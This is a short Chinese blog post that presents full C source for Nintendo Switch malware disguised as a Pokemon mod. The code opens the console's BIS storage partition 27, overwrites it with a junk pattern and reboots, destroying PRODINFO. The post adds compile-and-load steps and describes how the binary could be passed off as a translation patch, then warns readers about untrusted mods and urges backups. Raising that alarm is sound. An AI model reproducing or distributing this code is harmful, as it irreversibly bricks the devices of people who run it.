伪装为Pokemon-pikachu的恶意软件代码

#include "bpc.h"

#include

#include

int main(int argc, char **argv){

  FsStorage store;

  fsOpenBisStorage(&store, 27);

  bpcInitialize();

  char * buf = malloc(0x5000);

    for ( int i = 0; i< 1000; i=i+5 ) {

        buf[i] = '8';

        buf[i+1] = '0';

        buf[i+2] = '0';

        buf[i+3] = '8';

        buf[i+4] = '5'; }

fsStorageWrite(&store, 0, buf, 0x5000);

    fsStorageClose(&store);

    free(buf);

    bpcRebootSystem();

}

相当短,使用libnx编译,作为exefs加载即可。即使是没有任何编程能力,也不会使用hactool的人,一旦获得了编译好的二进制文件,就能将其伪造为汉化补丁或者游戏mod发布。

请不要下载来历不明的汉化补丁/mod/游戏。尤其是含有exefs文件夹的汉化补丁和mod。

毕竟 ——有能力打包xci/nsp的人一般不至于这么皮——除了始作俑者。

请务必准备一份系统备份。一旦你的prodinfo被覆盖,而且你没有系统备份,那么神仙也救不了你。

你可能感兴趣的:(伪装为Pokemon-pikachu的恶意软件代码)